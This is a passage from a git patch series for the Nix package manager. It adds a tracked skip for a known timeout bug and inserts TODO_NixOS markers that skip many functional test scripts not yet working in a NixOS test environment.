+        system.forbiddenDependenciesRegexes = [
+          # This would indicate that the quickBuild feature is broken.
+          # It could happen if NixOS has a dependency on pkgs.nix instead of
+          # config.nix.package somewhere.
+          (builtins.unsafeDiscardStringContext pkgs.nix.outPath)
+        ];
+      };
+    };
+  };
+}
\ No newline at end of file

From 211aec473e8dfe9782c34b40a72db8ae6e88df99 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 13:02:04 +0200
Subject: [PATCH 378/528] tests/functional/timeout.sh: Find missing test case

This reproduces an instance of
https://github.com/NixOS/nix/issues/4813
---
 tests/functional/timeout.sh | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/tests/functional/timeout.sh b/tests/functional/timeout.sh
index 441c83b0e02..f4235453816 100755
--- a/tests/functional/timeout.sh
+++ b/tests/functional/timeout.sh
@@ -11,6 +11,10 @@ messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1) && status=
 
 if [ $status -ne 101 ]; then
     echo "error: 'nix-store' exited with '$status'; should have exited 101"
+
+    # FIXME: https://github.com/NixOS/nix/issues/4813
+    skipTest "Do not block CI until fixed"
+
     exit 1
 fi
 

From 8557d79650e8097a73a809583405a94ebaf0a0db Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 12:51:46 +0200
Subject: [PATCH 379/528] tests/functional: Skip tests that don't work in NixOS
 environment yet

---
 tests/functional/add.sh                                  | 2 ++
 tests/functional/binary-cache-build-remote.sh            | 2 ++
 tests/functional/binary-cache.sh                         | 2 ++
 tests/functional/brotli.sh                               | 2 ++
 tests/functional/build-delete.sh                         | 2 ++
 tests/functional/build-dry.sh                            | 2 ++
 tests/functional/build-remote-trustless-should-fail-0.sh | 1 +
 tests/functional/build-remote-trustless-should-pass-2.sh | 2 ++
 tests/functional/build-remote-trustless-should-pass-3.sh | 1 +
 tests/functional/build.sh                                | 2 ++
 tests/functional/ca/common.sh                            | 2 ++
 tests/functional/case-hack.sh                            | 2 ++
 tests/functional/check-refs.sh                           | 2 ++
 tests/functional/check-reqs.sh                           | 2 ++
 tests/functional/check.sh                                | 4 ++++
 tests/functional/chroot-store.sh                         | 2 ++
 tests/functional/compression-levels.sh                   | 2 ++
 tests/functional/config.sh                               | 2 ++
 tests/functional/db-migration.sh                         | 2 ++
 tests/functional/debugger.sh                             | 2 ++
 tests/functional/dependencies.sh                         | 2 ++
 tests/functional/dump-db.sh                              | 2 ++
 tests/functional/dyn-drv/common.sh                       | 2 ++
 tests/functional/eval-store.sh                           | 2 ++
 tests/functional/eval.sh                                 | 2 ++
 tests/functional/export-graph.sh                         | 2 ++
 tests/functional/export.sh                               | 2 ++
 tests/functional/fetchClosure.sh                         | 2 ++
 tests/functional/fetchGit.sh                             | 2 ++
 tests/functional/fetchGitRefs.sh                         | 2 ++
 tests/functional/fetchGitSubmodules.sh                   | 2 ++
 tests/functional/fetchGitVerification.sh                 | 2 ++
 tests/functional/fetchMercurial.sh                       | 2 ++
 tests/functional/fetchTree-file.sh                       | 2 ++
 tests/functional/fetchurl.sh                             | 2 ++
 tests/functional/fixed.sh                                | 2 ++
 tests/functional/flakes/config.sh                        | 1 +
 tests/functional/flakes/develop.sh                       | 2 ++
 tests/functional/flakes/flake-in-submodule.sh            | 2 ++
 tests/functional/flakes/flakes.sh                        | 2 ++
 tests/functional/flakes/run.sh                           | 2 ++
 tests/functional/flakes/search-root.sh                   | 2 ++
 tests/functional/fmt.sh                                  | 2 ++
 tests/functional/gc-auto.sh                              | 2 ++
 tests/functional/gc-concurrent.sh                        | 2 ++
 tests/functional/gc-non-blocking.sh                      | 2 ++
 tests/functional/gc-runtime.sh                           | 2 ++
 tests/functional/gc.sh                                   | 2 ++
 tests/functional/git-hashing/common.sh                   | 2 ++
 tests/functional/help.sh                                 | 2 ++
 tests/functional/import-derivation.sh                    | 2 ++
 tests/functional/impure-derivations.sh                   | 2 ++
 tests/functional/impure-env.sh                           | 2 ++
 tests/functional/linux-sandbox.sh                        | 2 ++
 tests/functional/local-overlay-store/bad-uris.sh         | 2 ++
 tests/functional/local-overlay-store/common.sh           | 2 ++
 tests/functional/logging.sh                              | 2 ++
 tests/functional/multiple-outputs.sh                     | 2 ++
 tests/functional/nar-access.sh                           | 2 ++
 tests/functional/nested-sandboxing.sh                    | 2 ++
 tests/functional/nix-build.sh                            | 2 ++
 tests/functional/nix-collect-garbage-d.sh                | 2 ++
 tests/functional/nix-copy-ssh-common.sh                  | 2 ++
 tests/functional/nix-copy-ssh-ng.sh                      | 2 ++
 tests/functional/nix-profile.sh                          | 2 ++
 tests/functional/nix-shell.sh                            | 2 ++
 tests/functional/optimise-store.sh                       | 2 ++
 tests/functional/output-normalization.sh                 | 1 +
 tests/functional/parallel.sh                             | 2 ++
 tests/functional/pass-as-file.sh                         | 2 ++
 tests/functional/placeholders.sh                         | 2 ++
 tests/functional/post-hook.sh                            | 2 ++
 tests/functional/pure-eval.sh                            | 2 ++
 tests/functional/read-only-store.sh                      | 2 ++
 tests/functional/readfile-context.sh                     | 2 ++
 tests/functional/recursive.sh                            | 2 ++
 tests/functional/referrers.sh                            | 2 ++
 tests/functional/remote-store.sh                         | 2 ++
 tests/functional/repair.sh                               | 2 ++
 tests/functional/repl.sh                                 | 2 ++
 tests/functional/restricted.sh                           | 2 ++
 tests/functional/search.sh                               | 2 ++
 tests/functional/secure-drv-outputs.sh                   | 2 ++
 tests/functional/selfref-gc.sh                           | 2 ++
 tests/functional/shell.sh                                | 2 ++
 tests/functional/signing.sh                              | 2 ++
 tests/functional/simple.sh                               | 2 ++
 tests/functional/store-info.sh                           | 2 ++
 tests/functional/structured-attrs.sh                     | 2 ++
 tests/functional/suggestions.sh                          | 2 ++
 tests/functional/supplementary-groups.sh                 | 2 ++
 tests/functional/tarball.sh                              | 2 ++
 tests/functional/user-envs-migration.sh                  | 2 ++
 tests/functional/user-envs-test-case.sh                  | 2 ++
 tests/functional/why-depends.sh                          | 2 ++
 tests/functional/zstd.sh                                 | 2 ++
 96 files changed, 190 insertions(+)

diff --git a/tests/functional/add.sh b/tests/functional/add.sh
index a6cf88e1a4c..328b14831af 100755
--- a/tests/functional/add.sh
+++ b/tests/functional/add.sh
@@ -31,6 +31,8 @@ test "$hash1" = "sha256:$hash2"
 
 #### New style commands
 
+TODO_NixOS
+
 clearStore
 
 (
diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh
index 4edda85b65e..17e8bdcc1a5 100755
--- a/tests/functional/binary-cache-build-remote.sh
+++ b/tests/functional/binary-cache-build-remote.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCacheCache
 
diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh
index 5ef6d89d4aa..6a177b65775 100755
--- a/tests/functional/binary-cache.sh
+++ b/tests/functional/binary-cache.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 needLocalStore "'--no-require-sigs' can’t be used with the daemon"
 
 # We can produce drvs directly into the binary cache
diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh
index 672e771c22a..327eab4a554 100755
--- a/tests/functional/brotli.sh
+++ b/tests/functional/brotli.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh
index 59cf95bd2ec..2ebf1fd3d3c 100755
--- a/tests/functional/build-delete.sh
+++ b/tests/functional/build-delete.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # https://github.com/NixOS/nix/issues/6572
diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh
index dca5888a678..cff0f9a49fe 100755
--- a/tests/functional/build-dry.sh
+++ b/tests/functional/build-dry.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 ###################################################
 # Check that --dry-run isn't confused with read-only mode
 # https://github.com/NixOS/nix/issues/1795
diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh
index 269f7f1129e..4eccb73e0ee 100755
--- a/tests/functional/build-remote-trustless-should-fail-0.sh
+++ b/tests/functional/build-remote-trustless-should-fail-0.sh
@@ -4,6 +4,7 @@ source common.sh
 
 enableFeatures "daemon-trust-override"
 
+TODO_NixOS
 restartDaemon
 
 requireSandboxSupport
diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh
index ba5d1ff7a45..34ce7fbe48f 100755
--- a/tests/functional/build-remote-trustless-should-pass-2.sh
+++ b/tests/functional/build-remote-trustless-should-pass-2.sh
@@ -4,6 +4,8 @@ source common.sh
 
 enableFeatures "daemon-trust-override"
 
+TODO_NixOS
+
 restartDaemon
 
 # Remote doesn't trust us
diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh
index 187b899487c..d01d7919190 100755
--- a/tests/functional/build-remote-trustless-should-pass-3.sh
+++ b/tests/functional/build-remote-trustless-should-pass-3.sh
@@ -4,6 +4,7 @@ source common.sh
 
 enableFeatures "daemon-trust-override"
 
+TODO_NixOS
 restartDaemon
 
 # Remote doesn't trusts us, but this is fine because we are only
diff --git a/tests/functional/build.sh b/tests/functional/build.sh
index a14e6d672cd..db759b6e989 100755
--- a/tests/functional/build.sh
+++ b/tests/functional/build.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # Make sure that 'nix build' returns all outputs by default.
diff --git a/tests/functional/ca/common.sh b/tests/functional/ca/common.sh
index b104b5a7846..48f1ac46bc6 100644
--- a/tests/functional/ca/common.sh
+++ b/tests/functional/ca/common.sh
@@ -2,4 +2,6 @@ source ../common.sh
 
 enableFeatures "ca-derivations"
 
+TODO_NixOS
+
 restartDaemon
diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh
index 48a2ab13f06..feddc65831e 100755
--- a/tests/functional/case-hack.sh
+++ b/tests/functional/case-hack.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 rm -rf "$TEST_ROOT/case"
diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh
index 6534e55c603..26790c11bbb 100755
--- a/tests/functional/check-refs.sh
+++ b/tests/functional/check-refs.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 RESULT=$TEST_ROOT/result
diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh
index 4d795391e38..bb91bacde75 100755
--- a/tests/functional/check-reqs.sh
+++ b/tests/functional/check-reqs.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 RESULT=$TEST_ROOT/result
diff --git a/tests/functional/check.sh b/tests/functional/check.sh
index efb93eeb061..8f602b48768 100755
--- a/tests/functional/check.sh
+++ b/tests/functional/check.sh
@@ -15,6 +15,8 @@ checkBuildTempDirRemoved ()
 # written to build temp directories to verify created by this instance
 checkBuildId=$(date +%s%N)
 
+TODO_NixOS
+
 clearStore
 
 nix-build dependencies.nix --no-out-link
@@ -76,6 +78,8 @@ grep 'may not be deterministic' $TEST_ROOT/log
 [ "$status" = "104" ]
 if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi
 
+TODO_NixOS
+
 clearStore
 
 path=$(nix-build check.nix -A fetchurl --no-out-link)
diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh
index 741907fca59..03803a2b9fa 100755
--- a/tests/functional/chroot-store.sh
+++ b/tests/functional/chroot-store.sh
@@ -39,6 +39,8 @@ EOF
 
     cp simple.nix shell.nix simple.builder.sh config.nix "$flakeDir/"
 
+    TODO_NixOS
+
     outPath=$(nix build --print-out-paths --no-link --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' --store "$TEST_ROOT/x" path:"$flakeDir")
 
     [[ $outPath =~ ^/nix2/store/.*-simple$ ]]
diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh
index 6a2111f105c..f51c3f509ce 100755
--- a/tests/functional/compression-levels.sh
+++ b/tests/functional/compression-levels.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/config.sh b/tests/functional/config.sh
index 1811b755c96..50858eaa48a 100755
--- a/tests/functional/config.sh
+++ b/tests/functional/config.sh
@@ -28,6 +28,8 @@ nix registry remove userhome-with-xdg
 # Assert the .config folder hasn't been created.
 [ ! -e "$HOME/.config" ]
 
+TODO_NixOS # Very specific test setup not compatible with the NixOS test environment?
+
 # Test that files are loaded from XDG by default
 export XDG_CONFIG_HOME=$TEST_ROOT/confighome
 export XDG_CONFIG_DIRS=$TEST_ROOT/dir1:$TEST_ROOT/dir2
diff --git a/tests/functional/db-migration.sh b/tests/functional/db-migration.sh
index a6a5c7744e0..6feabb90dd2 100755
--- a/tests/functional/db-migration.sh
+++ b/tests/functional/db-migration.sh
@@ -10,6 +10,8 @@ if [[ -z "${NIX_DAEMON_PACKAGE-}" ]]; then
     skipTest "not using the Nix daemon"
 fi
 
+TODO_NixOS
+
 killDaemon
 
 # Fill the db using the older Nix
diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh
index 47e644bb714..178822d7964 100755
--- a/tests/functional/debugger.sh
+++ b/tests/functional/debugger.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # regression #9932
diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh
index 1b266935d24..bb01b3988f4 100755
--- a/tests/functional/dependencies.sh
+++ b/tests/functional/dependencies.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 drvPath=$(nix-instantiate dependencies.nix)
diff --git a/tests/functional/dump-db.sh b/tests/functional/dump-db.sh
index 2d04602757f..14181b4b63d 100755
--- a/tests/functional/dump-db.sh
+++ b/tests/functional/dump-db.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 needLocalStore "--dump-db requires a local store"
 
 clearStore
diff --git a/tests/functional/dyn-drv/common.sh b/tests/functional/dyn-drv/common.sh
index c786f6925fb..0d95881b6ab 100644
--- a/tests/functional/dyn-drv/common.sh
+++ b/tests/functional/dyn-drv/common.sh
@@ -5,4 +5,6 @@ requireDaemonNewerThan "2.16.0pre20230419"
 
 enableFeatures "ca-derivations dynamic-derivations"
 
+TODO_NixOS
+
 restartDaemon
diff --git a/tests/functional/eval-store.sh b/tests/functional/eval-store.sh
index 0ab608acca7..202e7b00413 100755
--- a/tests/functional/eval-store.sh
+++ b/tests/functional/eval-store.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 # Using `--eval-store` with the daemon will eventually copy everything
 # to the build store, invalidating most of the tests here
 needLocalStore "“--eval-store” doesn't achieve much with the daemon"
diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh
index acd6e2915d0..ba335d73aac 100755
--- a/tests/functional/eval.sh
+++ b/tests/functional/eval.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 testStdinHeredoc=$(nix eval -f - <<EOF
diff --git a/tests/functional/export-graph.sh b/tests/functional/export-graph.sh
index 281b5b05bb9..b507b6d3a12 100755
--- a/tests/functional/export-graph.sh
+++ b/tests/functional/export-graph.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 clearProfiles
 
diff --git a/tests/functional/export.sh b/tests/functional/export.sh
index fce2e333a60..3e895a5402d 100755
--- a/tests/functional/export.sh
+++ b/tests/functional/export.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 outPath=$(nix-build dependencies.nix --no-out-link)
diff --git a/tests/functional/fetchClosure.sh b/tests/functional/fetchClosure.sh
index 4026b0790b2..7ef635d3677 100755
--- a/tests/functional/fetchClosure.sh
+++ b/tests/functional/fetchClosure.sh
@@ -4,6 +4,8 @@ source common.sh
 
 enableFeatures "fetch-closure"
 
+TODO_NixOS
+
 clearStore
 clearCacheCache
 
diff --git a/tests/functional/fetchGit.sh b/tests/functional/fetchGit.sh
index d89d59a811e..130b620bffb 100755
--- a/tests/functional/fetchGit.sh
+++ b/tests/functional/fetchGit.sh
@@ -4,6 +4,8 @@ source common.sh
 
 requireGit
 
+TODO_NixOS
+
 clearStore
 
 # Intentionally not in a canonical form
diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh
index 9373146cd53..6d1f67e48f3 100755
--- a/tests/functional/fetchGitRefs.sh
+++ b/tests/functional/fetchGitRefs.sh
@@ -4,6 +4,8 @@ source common.sh
 
 requireGit
 
+TODO_NixOS
+
 clearStore
 
 repo="$TEST_ROOT/git"
diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh
index 7c5f7b0d605..3726ee689dd 100755
--- a/tests/functional/fetchGitSubmodules.sh
+++ b/tests/functional/fetchGitSubmodules.sh
@@ -6,6 +6,8 @@ set -u
 
 requireGit
 
+TODO_NixOS
+
 clearStore
 
 rootRepo=$TEST_ROOT/gitSubmodulesRoot
diff --git a/tests/functional/fetchGitVerification.sh b/tests/functional/fetchGitVerification.sh
index 27f9a8cf527..57a317bcd82 100755
--- a/tests/functional/fetchGitVerification.sh
+++ b/tests/functional/fetchGitVerification.sh
@@ -7,6 +7,8 @@ requireGit
 
 enableFeatures "verified-fetches"
 
+TODO_NixOS
+
 clearStore
 
 repo="$TEST_ROOT/git"
diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh
index f3774fc7488..6de19286587 100755
--- a/tests/functional/fetchMercurial.sh
+++ b/tests/functional/fetchMercurial.sh
@@ -4,6 +4,8 @@ source common.sh
 
 [[ $(type -p hg) ]] || skipTest "Mercurial not installed"
 
+TODO_NixOS
+
 clearStore
 
 # Intentionally not in a canonical form
diff --git a/tests/functional/fetchTree-file.sh b/tests/functional/fetchTree-file.sh
index 6faccd28297..66be928c7b6 100755
--- a/tests/functional/fetchTree-file.sh
+++ b/tests/functional/fetchTree-file.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 cd "$TEST_ROOT"
diff --git a/tests/functional/fetchurl.sh b/tests/functional/fetchurl.sh
index 2255dbbdcdf..5af44fcf277 100755
--- a/tests/functional/fetchurl.sh
+++ b/tests/functional/fetchurl.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # Test fetching a flat file.
diff --git a/tests/functional/fixed.sh b/tests/functional/fixed.sh
index 4d07d00cdb2..d98769e6435 100755
--- a/tests/functional/fixed.sh
+++ b/tests/functional/fixed.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 path=$(nix-store -q $(nix-instantiate fixed.nix -A good.0))
diff --git a/tests/functional/flakes/config.sh b/tests/functional/flakes/config.sh
index 66b9174570f..4f390611835 100755
--- a/tests/functional/flakes/config.sh
+++ b/tests/functional/flakes/config.sh
@@ -28,6 +28,7 @@ EOF
 # Without --accept-flake-config, the post hook should not run.
 nix build < /dev/null
 (! [[ -f post-hook-ran ]])
+TODO_NixOS
 clearStore
 
 nix build --accept-flake-config
diff --git a/tests/functional/flakes/develop.sh b/tests/functional/flakes/develop.sh
index 83be2e308b5..60abf3ef226 100755
--- a/tests/functional/flakes/develop.sh
+++ b/tests/functional/flakes/develop.sh
@@ -2,6 +2,8 @@
 
 source ../common.sh
 
+TODO_NixOS
+
 clearStore
 rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local
 
diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh
index 08f75121660..817f77783c0 100755
--- a/tests/functional/flakes/flake-in-submodule.sh
+++ b/tests/functional/flakes/flake-in-submodule.sh
@@ -15,6 +15,8 @@ source common.sh
 
 requireGit
 
+TODO_NixOS
+
 clearStore
 
 # Submodules can't be fetched locally by default.
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index 3057c029360..9d2524d155d 100755
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -2,6 +2,8 @@
 
 source ./common.sh
 
+TODO_NixOS
+
 requireGit
 
 clearStore
diff --git a/tests/functional/flakes/run.sh b/tests/functional/flakes/run.sh
index 4d8b512b9b1..c2c345ed2cb 100755
--- a/tests/functional/flakes/run.sh
+++ b/tests/functional/flakes/run.sh
@@ -2,6 +2,8 @@
 
 source ../common.sh
 
+TODO_NixOS
+
 clearStore
 rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local
 cp ../shell-hello.nix ../config.nix $TEST_HOME
diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh
index 600dcf93799..c61ae3bfa59 100755
--- a/tests/functional/flakes/search-root.sh
+++ b/tests/functional/flakes/search-root.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 writeSimpleFlake "$TEST_HOME"
diff --git a/tests/functional/fmt.sh b/tests/functional/fmt.sh
index 8fc9a3979e5..114aba3964c 100755
--- a/tests/functional/fmt.sh
+++ b/tests/functional/fmt.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local
 
diff --git a/tests/functional/gc-auto.sh b/tests/functional/gc-auto.sh
index 98bb7e60ee1..8f25be3e978 100755
--- a/tests/functional/gc-auto.sh
+++ b/tests/functional/gc-auto.sh
@@ -4,6 +4,8 @@ source common.sh
 
 needLocalStore "“min-free” and “max-free” are daemon options"
 
+TODO_NixOS
+
 clearStore
 
 garbage1=$(nix store add-path --name garbage1 ./nar-access.sh)
diff --git a/tests/functional/gc-concurrent.sh b/tests/functional/gc-concurrent.sh
index 1282712870c..df180b14fd7 100755
--- a/tests/functional/gc-concurrent.sh
+++ b/tests/functional/gc-concurrent.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 lockFifo1=$TEST_ROOT/test1.fifo
diff --git a/tests/functional/gc-non-blocking.sh b/tests/functional/gc-non-blocking.sh
index ecfa421fb5a..de10837eb77 100755
--- a/tests/functional/gc-non-blocking.sh
+++ b/tests/functional/gc-non-blocking.sh
@@ -4,6 +4,8 @@
 # parallel with it.
 source common.sh
 
+TODO_NixOS
+
 needLocalStore "the GC test needs a synchronisation point"
 
 clearStore
diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh
index b5f6f769c7c..0cccaaf16ab 100755
--- a/tests/functional/gc-runtime.sh
+++ b/tests/functional/gc-runtime.sh
@@ -11,6 +11,8 @@ esac
 
 set -m # enable job control, needed for kill
 
+TODO_NixOS
+
 profiles="$NIX_STATE_DIR"/profiles
 rm -rf "$profiles"
 
diff --git a/tests/functional/gc.sh b/tests/functional/gc.sh
index 7594312bb00..7707a7e2722 100755
--- a/tests/functional/gc.sh
+++ b/tests/functional/gc.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 drvPath=$(nix-instantiate dependencies.nix)
diff --git a/tests/functional/git-hashing/common.sh b/tests/functional/git-hashing/common.sh
index 572cea43818..639da16ce1f 100644
--- a/tests/functional/git-hashing/common.sh
+++ b/tests/functional/git-hashing/common.sh
@@ -1,5 +1,7 @@
 source ../common.sh
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/help.sh b/tests/functional/help.sh
index 6436fb50096..1bb8e9f9f8b 100755
--- a/tests/functional/help.sh
+++ b/tests/functional/help.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 # test help output
diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh
index 96cc30646b8..be28b1604f0 100755
--- a/tests/functional/import-derivation.sh
+++ b/tests/functional/import-derivation.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 if nix-instantiate --readonly-mode ./import-derivation.nix; then
diff --git a/tests/functional/impure-derivations.sh b/tests/functional/impure-derivations.sh
index b59f73c77d9..475dba73208 100755
--- a/tests/functional/impure-derivations.sh
+++ b/tests/functional/impure-derivations.sh
@@ -4,6 +4,8 @@ source common.sh
 
 requireDaemonNewerThan "2.8pre20220311"
 
+TODO_NixOS
+
 enableFeatures "ca-derivations impure-derivations"
 restartDaemon
 
diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh
index e65c78b0014..ca32c103001 100755
--- a/tests/functional/impure-env.sh
+++ b/tests/functional/impure-env.sh
@@ -5,6 +5,8 @@ source common.sh
 # Needs the config option 'impure-env' to work
 requireDaemonNewerThan "2.19.0"
 
+TODO_NixOS
+
 enableFeatures "configurable-impure-env"
 restartDaemon
 
diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh
index e71224f5ecf..653a3873ffa 100755
--- a/tests/functional/linux-sandbox.sh
+++ b/tests/functional/linux-sandbox.sh
@@ -4,6 +4,8 @@ source common.sh
 
 needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon"
 
+TODO_NixOS
+
 clearStore
 
 requireSandboxSupport
diff --git a/tests/functional/local-overlay-store/bad-uris.sh b/tests/functional/local-overlay-store/bad-uris.sh
index 42a6d47f756..b7930e32e24 100644
--- a/tests/functional/local-overlay-store/bad-uris.sh
+++ b/tests/functional/local-overlay-store/bad-uris.sh
@@ -15,6 +15,8 @@ declare -a storesBad=(
     "$storeBadRoot" "$storeBadLower" "$storeBadUpper"
 )
 
+TODO_NixOS
+
 for i in "${storesBad[@]}"; do
     echo $i
     unshare --mount --map-root-user bash <<EOF
diff --git a/tests/functional/local-overlay-store/common.sh b/tests/functional/local-overlay-store/common.sh
index bbe84847a53..b171f91f499 100644
--- a/tests/functional/local-overlay-store/common.sh
+++ b/tests/functional/local-overlay-store/common.sh
@@ -1,5 +1,7 @@
 source ../common/vars-and-functions.sh
 
+TODO_NixOS
+
 # The new Linux mount interface does not seem to support remounting
 # OverlayFS mount points.
 #
diff --git a/tests/functional/logging.sh b/tests/functional/logging.sh
index 63752f6db21..bd80a91635f 100755
--- a/tests/functional/logging.sh
+++ b/tests/functional/logging.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 path=$(nix-build dependencies.nix --no-out-link)
diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh
index 31ce2a3a48e..c4af56f0b09 100755
--- a/tests/functional/multiple-outputs.sh
+++ b/tests/functional/multiple-outputs.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 rm -f $TEST_ROOT/result*
diff --git a/tests/functional/nar-access.sh b/tests/functional/nar-access.sh
index 8839fd04310..b254081cfc4 100755
--- a/tests/functional/nar-access.sh
+++ b/tests/functional/nar-access.sh
@@ -27,6 +27,8 @@ diff -u baz.cat-nar $storePath/foo/baz
 nix store cat $storePath/foo/baz > baz.cat-nar
 diff -u baz.cat-nar $storePath/foo/baz
 
+TODO_NixOS
+
 # Check that 'nix store cat' fails on invalid store paths.
 invalidPath="$(dirname $storePath)/99999999999999999999999999999999-foo"
 cp -r $storePath $invalidPath
diff --git a/tests/functional/nested-sandboxing.sh b/tests/functional/nested-sandboxing.sh
index 44c3bb2bc7b..ae0256de2d6 100755
--- a/tests/functional/nested-sandboxing.sh
+++ b/tests/functional/nested-sandboxing.sh
@@ -4,6 +4,8 @@ source common.sh
 # This test is run by `tests/functional/nested-sandboxing/runner.nix` in an extra layer of sandboxing.
 [[ -d /nix/store ]] || skipTest "running this test without Nix's deps being drawn from /nix/store is not yet supported"
 
+TODO_NixOS
+
 requireSandboxSupport
 
 source ./nested-sandboxing/command.sh
diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh
index 45ff314c71f..cfba7f0200d 100755
--- a/tests/functional/nix-build.sh
+++ b/tests/functional/nix-build.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 outPath=$(nix-build dependencies.nix -o $TEST_ROOT/result)
diff --git a/tests/functional/nix-collect-garbage-d.sh b/tests/functional/nix-collect-garbage-d.sh
index 07aaf61e99c..119efe62925 100755
--- a/tests/functional/nix-collect-garbage-d.sh
+++ b/tests/functional/nix-collect-garbage-d.sh
@@ -2,6 +2,8 @@
 
 source common.sh
 
+TODO_NixOS
+
 clearStore
 
 ## Test `nix-collect-garbage -d`
diff --git a/tests/functional/nix-copy-ssh-common.sh b/tests/functional/nix-copy-ssh-common.sh
index cc8314ff7fa..5eea9612d0d 100644
--- a/tests/functional/nix-copy-ssh-common.sh
+++ b/tests/functional/nix-copy-ssh-common.sh
@@ -2,6 +2,8 @@ proto=$1
 shift
 (( $# == 0 ))
 
+TODO_NixOS
+
 clearStore
 clearCache
 
diff --git a/tests/functional/nix-copy-ssh-ng.sh b/tests/functional/nix-copy-ssh-ng.sh
index 1fd735b9df0..41958c2c3c3 100755
--- a/tests/functional/nix-copy-ssh-ng.sh
+++ b/tests/functional/nix-copy-ssh-ng.sh
@@ -4,6 +4,8 @@ source common.sh
 
